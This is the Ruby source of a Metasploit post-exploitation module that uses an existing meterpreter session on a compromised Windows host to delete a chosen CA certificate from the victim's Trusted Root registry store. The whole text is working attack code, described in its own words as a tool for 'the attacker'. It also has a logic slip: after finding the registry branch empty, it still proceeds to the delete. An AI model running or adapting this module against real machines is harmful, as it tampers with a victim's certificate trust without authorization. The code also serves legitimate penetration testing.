Windows Manage Certificate Authority Removal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Certificate Authority Removal',
        'Description' => %q{
          This module allows the attacker to remove an arbitrary CA certificate
          from the victim's Trusted Root store.
        },
        'License' => BSD_LICENSE,
        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_registry_open_key
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
      ]
    )
  end

  def run
    certtoremove = datastore['CERTID']

    open_key = nil
    key = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
    rkey, bkey = client.sys.registry.splitkey(key)

    # Check if the requested cert is actually in the registry to start with
    open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
    keys = open_key.enum_key

    if (keys.length > 1)
      if keys.include?(certtoremove)
        # We found our target
      else
        print_error('The specified CA is not in the registry.')
        return
      end
    else
      print_error('These are not the CAs you are looking for (i.e. this registry branch is empty)')
    end

    open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
    open_key.delete_key(certtoremove)
    print_good("Successfully deleted CA: #{certtoremove}")
  end
end